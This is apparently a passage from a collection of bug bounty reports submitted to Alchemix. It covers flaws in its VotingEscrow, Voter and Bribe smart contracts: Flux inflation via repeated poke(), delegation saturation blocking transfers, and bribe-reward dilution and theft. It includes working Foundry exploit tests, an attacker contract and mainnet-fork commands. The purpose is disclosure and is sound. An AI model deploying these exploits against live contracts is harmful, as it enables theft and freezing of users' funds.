        console2.log("After having unclaimFlux, attacker can use to boost voting power or mint Flux token"); 

        console2.log("Flux token balance of the attacker: %s",flux.balanceOf(attacker)); 
        console2.log("Call unclaimedFlux to mint Flux token for the attacker"); 
        flux.claimFlux(tokenId1,unclaimedFlux); 
        console2.log("After claiming: Flux token balance of the attacker: %s",flux.balanceOf(attacker));
             

    }
```

The log of this test case shows:

```

[PASS] testFluxAccrual_Poke_Normal() (gas: 1296670)
Logs:
  Start to createLock with _maxLockEnabled is false and value is 1e18 BPT
  LockedBalance of tokenId1 lock.amount: 10000000000000000000  
  LockedBalance of tokenId1 _lock.end: 1716422400  
  LockedBalance of tokenId1 _lock.cooldown: 1716422400  
  LockedBalance of tokenId1 _lock.maxLockEnabled: false  
  Call voter.poke(tokenId1)
  unclaimedFlux1: 270057394723366387
  After having unclaimFlux, attacker can use to boost voting power or mint Flux token
  Flux token balance of the attacker: 0
  Call unclaimedFlux to mint Flux token for the attacker
  After claiming: Flux token balance of the attacker: 270057394723366387 


```

So the unclaimedFlux1 of the tokenID1 is 270057394723366387

To compare, the attacker get 11\_000 times bigger that is the number of loops. So attackers can repeat this and get the unlimited token of Flux token.

```
2970631341957030257000  /  270057394723366387  = 11_000 
```

So attacker can use the gained Flux token to boost the voting power.\
In this POC, I demonstrated that the attacker can mint Flux token.

```
   Flux token balance of the attacker: 0
  Call unclaimedFlux to mint Flux token for the attacker
  After claiming: Flux token balance of the attacker: 2970631341957030257000

```

### Full POC Code:

To run the test Copy the test code into the file:

```solidity
function testFluxAccrual_Poke_Hacked() public {
        
        address attacker = address(this); 
        console2.log("Start to createLock with _maxLockEnabled is false and value is 1e18 BPT");

        uint256 tokenId1 = createVeAlcx(attacker, 10*TOKEN_1, 2 weeks, false);
                
        IVotingEscrow_1.LockedBalance memory _lock = IVotingEscrow_1(address(veALCX)).locked(tokenId1);
        console2.log("LockedBalance of tokenId1 lock.amount: %s  ", _lock.amount);
        console2.log("LockedBalance of tokenId1 _lock.end: %s  ", _lock.end);  
        console2.log("LockedBalance of tokenId1 _lock.cooldown: %s  ", _lock.end); 
        console2.log("LockedBalance of tokenId1 _lock.maxLockEnabled: %s  ", _lock.maxLockEnabled); 
        
        console2.log("Call voter.poke(tokenId1)");
        
        uint256 count = 11000; 

        for (uint256 i = 0; i < count; ++i)
        {
            voter.poke(tokenId1);                       
        
        }
        
        console2.log("After having unclaimFlux, attacker can use to boost voting power or mint Flux token"); 

        console2.log("Flux token balance of the attacker: %s",flux.balanceOf(attacker)); 
        console2.log("Call unclaimedFlux to mint Flux token for the attacker"); 
        uint256 unclaimedFlux = flux.getUnclaimedFlux(tokenId1);
        flux.claimFlux(tokenId1,unclaimedFlux); 
        console2.log("After claiming: Flux token balance of the attacker: %s",flux.balanceOf(attacker));

    }

    function testFluxAccrual_Poke_Normal() public {
        
        address attacker = address(this); 
        console2.log("Start to createLock with _maxLockEnabled is false and value is 1e18 BPT");

        uint256 tokenId1 = createVeAlcx(attacker, 10*TOKEN_1, 2 weeks, false);
                
        IVotingEscrow_1.LockedBalance memory _lock = IVotingEscrow_1(address(veALCX)).locked(tokenId1);
        console2.log("LockedBalance of tokenId1 lock.amount: %s  ", _lock.amount);
        console2.log("LockedBalance of tokenId1 _lock.end: %s  ", _lock.end);  
        console2.log("LockedBalance of tokenId1 _lock.cooldown: %s  ", _lock.end); 
        console2.log("LockedBalance of tokenId1 _lock.maxLockEnabled: %s  ", _lock.maxLockEnabled); 
        
        console2.log("Call voter.poke(tokenId1)");          
        voter.poke(tokenId1);
        uint256 unclaimedFlux = flux.getUnclaimedFlux(tokenId1);
        console2.log("unclaimedFlux1: %s", unclaimedFlux);

        console2.log("After having unclaimFlux, attacker can use to boost voting power or mint Flux token"); 

        console2.log("Flux token balance of the attacker: %s",flux.balanceOf(attacker)); 
        console2.log("Call unclaimedFlux to mint Flux token for the attacker"); 
        flux.claimFlux(tokenId1,unclaimedFlux); 
        console2.log("After claiming: Flux token balance of the attacker: %s",flux.balanceOf(attacker));
             

    }

} 


```

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/test/VotingEscrow.t.sol>

and run the test command for the function in the alchemix-v2-dao folder:

```
FOUNDRY_PROFILE=default forge test --fork-url https://rpc.ankr.com/eth --match-path src/test/VotingEscrow.t.sol --match-test testFluxAccrual_Poke  --fork-block-number 19858400 -vvvvv | format > testFluxAccrual_Poke_240513_1000.log 

```

### Logs

* The full log: <https://drive.google.com/file/d/1rVgRlD\\_C4NYKynFeBBv-YcVG8G90q-Fc/view?usp=sharing>
* The full log file with debug:

<https://drive.google.com/file/d/1BGhCmiM-gADnQcNgvfbnDVhbDrs7oIAN/view?usp=sharing>


# 31151 - \[SC - Medium] Delegation Saturation Leading to Asset Freezing...

Submitted on May 13th 2024 at 17:22:16 UTC by @Limbooo for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31151

Report type: Smart Contract

Report severity: Medium

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* Temporary freezing of NFTs

## Description

## Intro

The `VotingEscrow.sol` contract contains a critical design flaw involving the `MAX_DELEGATES` limit, which is meant to cap the number of token IDs a delegate can manage. This limitation, while intended to prevent excessive computational load, can be maliciously exploited to cause denial of service and manipulate delegation processes.

## Vulnerability Details

The vulnerability exists due to the static nature of the `MAX_DELEGATES` limit and its enforcement in the contract's delegation logic. When a user or contract attempts to delegate tokens, the contract checks whether adding more token IDs would exceed this limit for the delegatee. Malicious actors can deliberately saturate this limit by creating numerous delegations with minimal token amounts (1 Wei), preventing further legitimate delegations and operations.

In the current implementation the limit is set to `1024` tokens \[1], this limit is used to avoid excessive gas usage that prevent a case where block limit reached. However, this limit is checked whenever a user call `VotingEscrow::delegate`, `VotingEscrow::createLockFor`, or `VotingEscrow::transferFrom`. This happens when those functionalities process the movement of the delegated tokens either by `_moveTokenDelegates` \[2] or `_moveAllDelegates` \[3].

## Impact Details

* **Denial of Service (DoS)**: By reaching the `MAX_DELEGATES` limit for a delegatee, an attacker can prevent all further delegations to that delegatee. This can block crucial operations such as token transfers, lock creation, and more, effectively disabling key functionalities for users.
* **Asset Freezing**: Users may find themselves unable to transfer or operate their tokens if an attacker targets their delegatees, leading to a freezing of assets which could damage user trust and the platform’s usability.
* **Delegation Manipulation**: Attackers can manipulate the delegation process to their advantage, either by blocking potential delegatees to harm competitors or by protecting their delegation status from being overridden, thereby maintaining control over delegated tokens.

## Recommended Mitigations

To effectively mitigate the risks associated with the `MAX_DELEGATES` vulnerability, we propose the following enhanced strategies:

1. **Distinct Delegate Limits**: Implement two separate delegate limits:

* **Internal Delegate Limit**: A higher limit for delegations where the tokens owner and the delegatee are the same entity. This addresses the use case of managing multiple tokens more efficiently while still protecting against excessive computational load.
* **External Delegate Limit**: A more restrictive limit for delegations to different entities. This reduces the potential for denial-of-service attacks by limiting the number of delegates an external actor can control, thus safeguarding against malicious saturations.

However, this will generate some **drawbacks** for those users reaching the internal limit when delegations to different entities.

2. **Cooling-Off Period**: Introduce a cooling-off period that temporarily restricts changes to delegations after a delegate limit threshold is approached. This measure would slow down rapid manipulations and give administrators time to address any suspicious activities.
3. **Rate Limiting of Delegate Changes**: Apply rate limiting to operations that can alter delegate counts, such as token transfers and lock creations. This preventative measure would hinder an attacker’s ability to quickly reach delegate limits.

## References

\[1]: [alchemix-v2-dao/src/VotingEscrow.sol#L34 at GitHub](https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L34)

\[2]: [alchemix-v2-dao/src/VotingEscrow.sol#L1040 at GitHub](https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L1040)

\[3]: [alchemix-v2-dao/src/VotingEscrow.sol#L1110 at GitHub](https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L1110)

## Proof of Concept

The Proof of Concept (PoC) involves creating the `VotingEscrowBlocker` contract which is designed to exploit this vulnerability. Here are key functionalities demonstrated by the PoC:

1. **Creating and Merging Locks**: The attacker contract creates locks with minimal token amounts to reach the `MAX_DELEGATES` limit quickly and merges them as needed to maintain control over the total number of delegates.
2. **Blocking Delegations**: By strategically managing the number of active delegates, the attacker can ensure that no new delegates can be added once the limit is reached. This is shown by attempts to delegate to a saturated delegatee, which fail due to the contract's enforcement of the `MAX_DELEGATES` limit.
3. **Front-Running and Disruptive Actions**: The PoC also shows how an attacker can use knowledge of pending transactions to pre-emptively block other users' actions, such as creating locks or transferring tokens, by ensuring that the delegatee remains at the maximum limit.

This PoC validates the severity of the vulnerability and underscores the need for immediate remediation steps to be taken to prevent potential exploits.

### Test Case (Foundry)

**NOTE**: It will takes to much time to finish the test but we can decrease the `MAX_DELEGATES` to a lower value to speed up the test. However, this is not mandatory to make the test success and it will success for the current `MAX_DELEGATES` value.

The test can be added to a new file under the current test suite `src/test/VotingEscrowPoC.t.sol`, then specify the file name in `FILE` flag under `Makefile` configuration. Then, run using `make test_file` command.

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "lib/forge-std/src/Test.sol";
import "./BaseTest.sol";
import "openzeppelin-contracts/contracts/token/ERC721/utils/ERC721Holder.sol";

// VotingEscrowBlocker is a contract that help attacker to simplify the attacks.
// This will help to callculate the missing limit on target balance to hit the MAX_DELEGATES limit.
// Also, it will manage its veALCX tokens when increasing and decreasing using create lock and merge
contract VotingEscrowBlocker is ERC721Holder, Ownable {
    uint256 immutable _VEALCX_MAX_DELEGATES;
    VotingEscrow public immutable veALCX;
    address public immutable bpt;

    uint256 public lastUsed;

    constructor(address _ve, address _bpt) {
        veALCX = VotingEscrow(_ve);
        bpt = _bpt;

        _VEALCX_MAX_DELEGATES = veALCX.MAX_DELEGATES();

        IERC20(bpt).approve(address(veALCX), type(uint256).max);
    }

    // Create single lock with very little amount (1 Wie of BPT) 
    function createOneVeALCX() public onlyOwner {
        veALCX.createLockFor(1 wei, 42 weeks, true, address(this));
    }

    // Merge the last two veALCX tokens to reduse the number of balance
    function mergeLastVeALCXs() public onlyOwner {
        uint256[] memory tokenIds = veALCX.getTokenIds(address(this));
        veALCX.merge(tokenIds[tokenIds.length -1], tokenIds[tokenIds.length -2]);
    }

    //  increase balance of VeALCX Tokens
    function increaseVeALCXTokens(uint256 length) public onlyOwner {
        for (uint256 i = 0; i < length; i++) {
            createOneVeALCX();
        }
    }

    //  decrease balance of VeALCX Tokens
    function decreaseVeALCXTokens(uint256 length) public onlyOwner {
        for (uint256 i = 0; i < length; i++) {
            mergeLastVeALCXs();
        }
    }
    

    // Block target address by delegating the balance of this contract to its delegatee, after calculating the limit of the target. 
    function blockDelegateeOf(address target) public onlyOwner {
        address targetDelegatee = veALCX.delegates(target);
        _generateTokenLimitOf(targetDelegatee);
        
        veALCX.delegate(targetDelegatee);
        lastUsed = block.number;
    }

    // Block target to be delegated
    function blockTarget(address target) public onlyOwner {
        _generateTokenLimitOf(target);
        
        veALCX.delegate(target);
        lastUsed = block.number;
    }

    function _generateTokenLimitOf(address target) internal {
        uint256 balance = veALCX.balanceOf(address(this));
        uint256 targetBalance;

        if (veALCX.numCheckpoints(target) > 0) {
            uint256[] memory tokenIds = veALCX.getTokenIds(target);
            targetBalance = tokenIds.length;
        }
        if (targetBalance + balance < _VEALCX_MAX_DELEGATES ) {
            increaseVeALCXTokens(_VEALCX_MAX_DELEGATES - (targetBalance + balance));
        } else if (targetBalance + balance > _VEALCX_MAX_DELEGATES ) {
            decreaseVeALCXTokens((targetBalance + balance) - _VEALCX_MAX_DELEGATES);
        }
    }
}


contract VotingEscrowPoC is BaseTest {
    uint256 public constant THREE_WEEKS = 3 weeks;
    address public attacker;
    address public alice;
    address public bob;

    VotingEscrowBlocker[] public veBlockers;


    function setUp() public {
        // Setup BaseTest contract
        setupContracts(block.timestamp);

        // Setup Attacker address, and mint some bpt tokens (1e18).
        attacker = vm.addr(uint256(keccak256(abi.encodePacked('Attacker'))));
        vm.label(attacker, 'Attacker');
        deal(bpt, attacker, 1 ether);

        // Setup Alice address, and mint some bpt tokens (2e18).
        alice = vm.addr(uint256(keccak256(abi.encodePacked('Alice'))));
        vm.label(alice, 'Alice');
        deal(bpt, alice, 1 ether);
        // Setup Alice address, and mint some bpt tokens (2e18). 
        bob = vm.addr(uint256(keccak256(abi.encodePacked('Bob'))));
        vm.label(bob, 'Bob');
        deal(bpt, bob, 1 ether);

        // Attacker start setup an env for his attacks logic;
        // Create and setup multiple VotingEscrowBlocker so then can be used for multiple targets.
        hevm.startPrank(attacker);
        veBlockers.push(new VotingEscrowBlocker(address(veALCX), address(bpt)));
        veBlockers.push(new VotingEscrowBlocker(address(veALCX), address(bpt)));

        IERC20(bpt).transfer(address(veBlockers[0]), .1 ether);
        IERC20(bpt).transfer(address(veBlockers[1]), .1 ether);

        // To speed up, Attacker has to generate a max token delegate for blocker instances
        veBlockers[0].blockTarget(address(veBlockers[0]));
        veBlockers[1].blockTarget(address(veBlockers[0]));

        hevm.stopPrank();      
    }

    function testAttackerPreventUserFromBeingDelegated() public {
        // mint tokens for alice
        hevm.startPrank(alice);
        IERC20(bpt).approve(address(veALCX), TOKEN_1);
        veALCX.createLock(TOKEN_1, THREE_WEEKS, false);
        hevm.stopPrank();

        // Attacker targeting Bob, So Alice or any other user would not be able to delegate Bob.
        hevm.prank(attacker);
        veBlockers[0].blockTarget(bob);

        // Now, Alice want to delegate Bob,
        // But the call will revert since the attacker saturated bob with dummy tokens. 
        hevm.prank(alice);
        hevm.expectRevert(abi.encodePacked("dst would have too many tokenIds"));
        veALCX.delegate(bob);
    }

    function testAttackerFrontRunsAndBlockCreateLock() public {
        // Alice start a transaction of creating lock for himself
        hevm.prank(alice);
        IERC20(bpt).approve(address(veALCX), TOKEN_1);

        // Attacker front runs alice transaction and block him from creating a lock
        hevm.prank(attacker);
        veBlockers[0].blockDelegateeOf(alice);

        // The revert expected to be: dst would have too many tokenIds
        // This happning since Alice has the maximum delegets amount of token now
        hevm.prank(alice);
        hevm.expectRevert(abi.encodePacked("dst would have too many tokenIds"));
        veALCX.createLock(TOKEN_1, THREE_WEEKS, false);

        // Then, Alice retry to create for another user (Bob)
        // Attacker front runs him and prevent bob from havving a lock too
        hevm.prank(attacker);
        veBlockers[0].blockDelegateeOf(bob);

        hevm.prank(alice);
        hevm.expectRevert(abi.encodePacked("dst would have too many tokenIds"));
        veALCX.createLockFor(TOKEN_1, THREE_WEEKS, false, bob);
    }

    function testAttackerFrontRunsAndBlockTransferFrom() public {
        hevm.startPrank(alice);
        IERC20(bpt).approve(address(veALCX), TOKEN_1);
        uint256 tokenId = veALCX.createLock(TOKEN_1, THREE_WEEKS, false);

        veALCX.transferFrom(alice, bob, tokenId);
        hevm.stopPrank();

        // Front runs transfer transaction
        hevm.prank(attacker);
        veBlockers[0].blockDelegateeOf(alice);

        hevm.prank(bob);
        hevm.expectRevert(abi.encodePacked("dst would have too many tokenIds"));
        veALCX.transferFrom(bob, alice, tokenId);
    }

    function testAttackerPreventHisDelegatorsFromUndelegateHim() public {
        // Let say there is a good active user
        address goodDelegatee = attacker;

        // Multiple users delegate to him
        hevm.startPrank(alice);
        IERC20(bpt).approve(address(veALCX), TOKEN_1);
        veALCX.createLock(TOKEN_1, THREE_WEEKS, false);
        veALCX.delegate(goodDelegatee);
        hevm.stopPrank();

        hevm.startPrank(bob);
        IERC20(bpt).approve(address(veALCX), TOKEN_1);
        veALCX.createLock(TOKEN_1, THREE_WEEKS, false);
        veALCX.delegate(goodDelegatee);
        hevm.stopPrank();

        // However, one day `goodDelegatee` started a malicious activites!
        // His delegtors decided to stop delgating to him,
        // But the `goodDelegatee` turns to be an attacker!
        // Now he will prevent all his delegators from changing him, byy front runs thier transactions
        hevm.prank(goodDelegatee); // goodDelegatee == attacker
        veBlockers[0].blockTarget(alice);
        hevm.prank(goodDelegatee);
        veBlockers[1].blockTarget(bob);

        hevm.prank(alice);
        hevm.expectRevert(abi.encodePacked("dst would have too many tokenIds"));
        veALCX.delegate(alice);

        hevm.prank(alice);
        hevm.expectRevert(abi.encodePacked("dst would have too many tokenIds"));
        veALCX.delegate(bob);
    }
}
```

### Test Output

```bash
alchemix-v2-dao dos-maxdel 18m59s
❯ make test_file
FOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.g.alchemy.com/v2/*** --match-path src/test/VotingEscrowPoC.t.sol -vv
[⠊] Compiling...
No files changed, compilation skipped

Ran 4 tests for src/test/VotingEscrowPoC.t.sol:VotingEscrowPoC
[PASS] testAttackerFrontRunsAndBlockCreateLock() (gas: 46758218)
[PASS] testAttackerFrontRunsAndBlockTransferFrom() (gas: 29631885)
[PASS] testAttackerPreventHisDelegatorsFromUndelegateHim() (gas: 841509764)
[PASS] testAttackerPreventUserFromBeingDelegated() (gas: 29642124)
Suite result: ok. 4 passed; 0 failed; 0 skipped; finished in 1134.36s (560.02s CPU time)

Ran 1 test suite in 1135.64s (1134.36s CPU time): 4 tests passed, 0 failed, 0 skipped (4 total tests)
```


# 31163 - \[SC - Critical] Malicious actor can acquire bribe rewards by bl...

Submitted on May 13th 2024 at 20:01:40 UTC by @DuckAstronomer for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31163

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Impacts:

* Permanent freezing of unclaimed yield
* Theft of unclaimed yield

## Description

## Vulnerability Details

The `Voter` contract uses the `onlyNewEpoch` modifier for the `reset()` and `vote()` external functions, which prevents users from voting multiple times or revoting in the same epoch.

However, the `poke()` function is missing the `onlyNewEpoch` modifier, allowing the user to call it multiple times during an epoch. When `poke()` is invoked, it internally calls `_vote()` which resets previous votes first (<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol#L413>) and then proceeds to apply the same amount of votes.

The `_reset()` function perform the withdrawal of votes from a `Bribe` contract (<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol#L396>), while the `_vote()` function deposit votes back (<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol#L441>).

The `Bribe` contract utilizes the `deposit()` function to checkpoint the voting amount for the current Epoch by invoking `_writeVotingCheckpoint()` (<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol#L313>). However, in the `withdraw()` function, it does not checkpoint the voting amount for the current Epoch. This is acceptable since users are required to vote or reset once in an Epoch. However, this assumption is invalid because of the `poke()` function. Users can call it any number of times in an epoch.

A malicious user can call `poke()` multiple times, inflating the value of votes made for an Epoch. Consequently, when calculating the amount of bribes a benign user should receive, the amount will be significantly lower.

```
_prevSupply = votingCheckpoints[getPriorVotingIndex(_nextEpochStart + DURATION)].votes;

// Prevent divide by zero
if (_prevSupply == 0) {
    _prevSupply = 1;
}
prevRewards.balanceOf = (cp0.balanceOf * tokenRewardsPerEpoch[token][_nextEpochStart]) / _prevSupply;
```

Since the value of `_prevSupply` will be quite big due to multiple calls to `poke()`, the reward (`prevRewards.balanceOf`) will be small. Consequently, reward tokens become trapped in the Bribe contract, causing users to miss out on their rewards.

This way an attacker can discourage users with significant voting power from participating in voting for a specific gauge and then later acquire trapped bribes in the following epochs.

## Impact Details

* Theft of unclaimed yield.
* Permanent freezing of unclaimed yield.

## Proof of Concept

POC scenario:

1. The bad guy has **99** times less voting power than the good guy.
2. The good guy normally should get **99K** of BAL bribes.
3. However, the Bad guys call `poke()` 2000 times.
4. As a result of the attack, the good guy receives 15 times less reward.

Instructions:

1. Put Poc's code from below into the file `src/test/Voting.t.sol` - <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/test/Voting.t.sol>.
2. Run the Poc as follows: `forge test --mp src/test/Voting.t.sol --fork-url URL --fork-block-number BLOCK`

```
function test_poc_ok() public {
    address bad = address(1);
    address good = address(2);

    // The good guy has 99x more voting power
    // The good guy should receive 99x more bribes ...
    uint256 tokenId1 = createVeAlcx(bad, 1 ether, MAXTIME, false);
    uint256 tokenId2 = createVeAlcx(good, 99 ether, MAXTIME, false);

    uint256 initialTimestamp = block.timestamp;

    address bribeAddress = voter.bribes(address(sushiGauge));

    // Add BAL and AURA bribes to sushiGauge
    createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);
    createThirdPartyBribe(bribeAddress, aura, TOKEN_100K);

    address[] memory pools = new address[](1);
    pools[0] = sushiPoolAddress;
    uint256[] memory weights = new uint256[](1);
    weights[0] = 5000;

    address[] memory bribes = new address[](1);
    bribes[0] = address(bribeAddress);
    address[][] memory tokens = new address[][](2);
    tokens[0] = new address[](2);
    tokens[0][0] = bal;
    tokens[0][1] = aura;

    // Good and bad guys votes for sushiPoolAddress
    hevm.prank(good);
    voter.vote(tokenId2, pools, weights, 0);

    hevm.prank(bad);
    voter.vote(tokenId1, pools, weights, 0);

    // Reach the end of the epoch
    hevm.warp(block.timestamp + nextEpoch);

    // Claim bribes for good and bad guys
    hevm.prank(good);
    voter.claimBribes(bribes, tokens, tokenId2);

    hevm.prank(bad);
    voter.claimBribes(bribes, tokens, tokenId1);

    // Fair amount of Bribes for the good guy
    uint256 fairAmount = IERC20(bal).balanceOf(good);

    require(
        fairAmount > TOKEN_100K * 9 / 10
    );
}

function test_poc_not_ok() public {
    address bad = address(1);
    address good = address(2);

    // The good guy has 99x more voting power
    // The good guy should receive 99x more bribes ...
    uint256 tokenId1 = createVeAlcx(bad, 1 ether, MAXTIME, false);
    uint256 tokenId2 = createVeAlcx(good, 99 ether, MAXTIME, false);

    uint256 initialTimestamp = block.timestamp;

    address bribeAddress = voter.bribes(address(sushiGauge));

    // Add BAL and AURA bribes to sushiGauge
    createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);
    createThirdPartyBribe(bribeAddress, aura, TOKEN_100K);

    address[] memory pools = new address[](1);
    pools[0] = sushiPoolAddress;
    uint256[] memory weights = new uint256[](1);
    weights[0] = 5000;

    address[] memory bribes = new address[](1);
    bribes[0] = address(bribeAddress);
    address[][] memory tokens = new address[][](2);
    tokens[0] = new address[](2);
    tokens[0][0] = bal;
    tokens[0][1] = aura;

    // Good and bad guys votes for sushiPoolAddress
    hevm.prank(good);
    voter.vote(tokenId2, pools, weights, 0);

    hevm.prank(bad);
    voter.vote(tokenId1, pools, weights, 0);

    // Bad guy invokes poke() 2000 times in the same epoch
    // this way manipulating votingCheckpoints[lastIndex].votes of Bribes
    // https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol#L255-L261
    hevm.startPrank(bad);
    for (uint i; i < 2000; i++) {
        voter.poke(tokenId1);
    }
    hevm.stopPrank();

    // Reach the end of the epoch
    hevm.warp(block.timestamp + nextEpoch);

    // Claim bribes for good and bad guys
    hevm.prank(good);
    voter.claimBribes(bribes, tokens, tokenId2);

    hevm.prank(bad);
    voter.claimBribes(bribes, tokens, tokenId1);

    uint256 unfairAmount = IERC20(bal).balanceOf(good);

    // The good guy gets 15x less bribes (((
    require(
        unfairAmount * 15 < TOKEN_100K * 9 / 10
    );
}
```


# 31184 - \[SC - Critical] Deflating the total amount of votes in a checkp...

## Deflating the total amount of votes in a checkpoint, to steal bribes and create solvency issues

Submitted on May 14th 2024 at 10:19:20 UTC by @infosec\_us\_team for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31184

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol>

Impacts:

* Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
* Protocol insolvency

### Description

## Brief/Intro

This report demonstrates how an attacker can deflate the accounting of total votes in a Bribe to claim more tokens than he should, causing solvency issues as other users can't claim their share of bribes.

A coded PoC is included in the **Proof of Concept** section.

## Vulnerability Details

Before diving deep let's recap what `Bribe.deposit(...)` and `Bribe.withdraw(...)` do.

The `Bribe.deposit(...)` function increases the **balanceOf\[tokenId]**, **totalVoting** and creates a new voting checkpoint.

```
function deposit(uint256 amount, uint256 tokenId) external {
		require(msg.sender == voter);

		totalSupply += amount;
		balanceOf[tokenId] += amount;

		totalVoting += amount;

		_writeCheckpoint(tokenId, balanceOf[tokenId]);
		_writeSupplyCheckpoint();
		_writeVotingCheckpoint();

		emit Deposit(msg.sender, tokenId, amount);
}
```

> <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol#L303-L316>

The function meant to have the opposite effect, `Bribe.withdraw(...)`, decreases the **balanceOf\[tokenId]** but doesn't decrease the **totalVoting** nor creates a voting checkpoint.

```
function withdraw(uint256 amount, uint256 tokenId) external {
		require(msg.sender == voter);

		totalSupply -= amount;
		balanceOf[tokenId] -= amount;

		_writeCheckpoint(tokenId, balanceOf[tokenId]);
		_writeSupplyCheckpoint();

		emit Withdraw(msg.sender, tokenId, amount);
}
```

> <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol#L319-L329>

The only way to "decrease" the **totalVoting** is by resetting it to 0, calling `Voter.distribute()` once every epoch.

Vote checkpoints are crucial. The total amount of votes is used to distribute rewards proportional to a user's balance.

The higher the number of total votes recorded in an epoch, not belonging to a specific user, the fewer rewards that user receives. The highly simplified pseudo-code is:

```
userRewards = (userVotes * rewardsForThisEpoch) / totalVotes;
```

### The happy path (where everything goes well) is:

```
Epoch `i`:
 └─**Alice** and **Bob** vote with `X` voting power.

Epoch `i+1`
 ├─`voter.distribute();` is executed
 ├─**Alice** votes again.
 ├─**Bob** votes again.

Epoch `i+2`
 ├─`voter.distribute();` is executed
 ├─**Alice** claims epoch rewards.
 └─**Bob** claims epoch rewards.

**Alice** and **Bob** earned the same amount of bribes.

```

But due to how `Bribe.deposit(...)`, `Bribe.withdraw(...)` and `Voter.distribute(...)` work, the following attack vector is possible:

## Attack vector

#### Description

If Alice front-runs the `voter.distribute()` in a new epoch, and votes by calling `Voter.vote(..)`, the following two functions are executed in `Bribe` in this same order:

* First, `Bribe.withdraw(..)` decreases **Alice**'s balance, but does not decrease the value of `totalVoting` and does not create a voting checkpoint representing that there are fewer votes now.
* Then, `Bribe.deposit(..)` increases **Alice**'s balance for the same number that was decreased, then increases the `totalVoting` (now is an inflated number), and creates a voting checkpoint.

Finally, the `voter.distribute()` call is executed and resets the `totalVoting` of this epoch to `0`.

Alice now has a deposit and balance in the current epoch, but the amount of `totalVoting` for this epoch is `0`, as if no one has voted.

> **Quick recap: The higher the value of `totalVoting` relative to Alice's balance the less rewards Alice receive, the lower the amount of `totalVoting` relative to Alice's balance the more rewards Alice can claim.**

#### Diagram of the attack

We think this diagram helps to understand:

```
Epoch `i`:
 └─**Alice** and **Bob** vote with `X` voting power.

Epoch `i+1`
 ├─**Alice** front-runs `voter.distribute()` and votes again.
 ├─`voter.distribute();` is executed
 ├─**Bob** votes again.

Epoch `i+2`
 ├─`voter.distribute();` is executed
 ├─**Alice** claims epoch rewards, and receives an inflated share.
 └─**Bob** tries to claim but there are insufficient funds.

**Alice** received more tokens than she should have, creating insolvency,
and **Bob** can't claim his share of tokens due to lack of funds.
```

#### Step-by-step description of the attack

**Step 1-** Alice front-runs the `voter.distribute(..)` in a new epoch and votes again with **X** balance, inflating the value of `totalVoting` for this epoch by **X**.

**Step 2-** `voter.distribute()` resets to `0` the `totalVoting` of this epoch.

**Step-3** Bob votes with **Y** balance, and a new voting checkpoint is created, increasing the `totalVoting` from 0 to **Y**.

The total amount of balance voted in this epoch is "**X** + **Y**" but the value of the voting checkpoint is **Y**, instead of "**X** + **Y**".

If Alice (or Bob) claims rewards, an inflated share of tokens is received, and the Bribe becomes insolvent.

### Impact

Deflating the total amount of votes in a checkpoint, to steal bribes and create solvency issues

### Proof of Concept

We are going to share 2 foundry tests, the first one is for the "happy path" and in the second one Alice front-runs the `voter.distribute()`, then claim bribes, making the system insolvent and preventing Bob from claiming his shares.

#### Happy path PoC

Add this test to `src/test/Voting.t.sol`

```
function testTotalVotesInflationHappyPath() public {

    uint256 tokenId1 = createVeAlcx(admin, TOKEN_1, MAXTIME, false);
    uint256 tokenId2 = createVeAlcx(beef, TOKEN_1, MAXTIME, false);
    address bribeAddress = voter.bribes(address(sushiGauge));

    // Add BAL bribes to sushiGauge
    createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);

    address[] memory pools = new address[](1);
    pools[0] = sushiPoolAddress;
    uint256[] memory weights = new uint256[](1);
    weights[0] = 5000;

    address[] memory bribes = new address[](1);
    bribes[0] = address(bribeAddress);
    address[][] memory tokens = new address[][](1);
    tokens[0] = new address[](1);
    tokens[0][0] = bal;

    // in epoch i, user votes with balance x
    hevm.prank(admin);
    voter.vote(tokenId1, pools, weights, 0);

    // time goes forward
    hevm.warp(block.timestamp + 2);

    // beef votes with balance x
    hevm.prank(beef);
    voter.vote(tokenId2, pools, weights, 0);

    // ------------------- Start epoch i+1
    hevm.warp(newEpoch() + 1);
    createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);

    // distribution is executed
    voter.distribute();

    hevm.startPrank(admin);
    // user votes with balance x
    voter.vote(tokenId1, pools, weights, 0);
    hevm.stopPrank();

    // time goes forward
    hevm.warp(block.timestamp + 2);

    // beef votes with balance x
    hevm.prank(beef);
    voter.vote(tokenId2, pools, weights, 0);

    // ------------------- Start epoch i+2
    hevm.warp(newEpoch() + 1);
    createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);

    // distribution is executed
    voter.distribute();

    hevm.startPrank(admin);
    // user claim rewards
    voter.claimBribes(bribes, tokens, tokenId1);
    hevm.stopPrank();

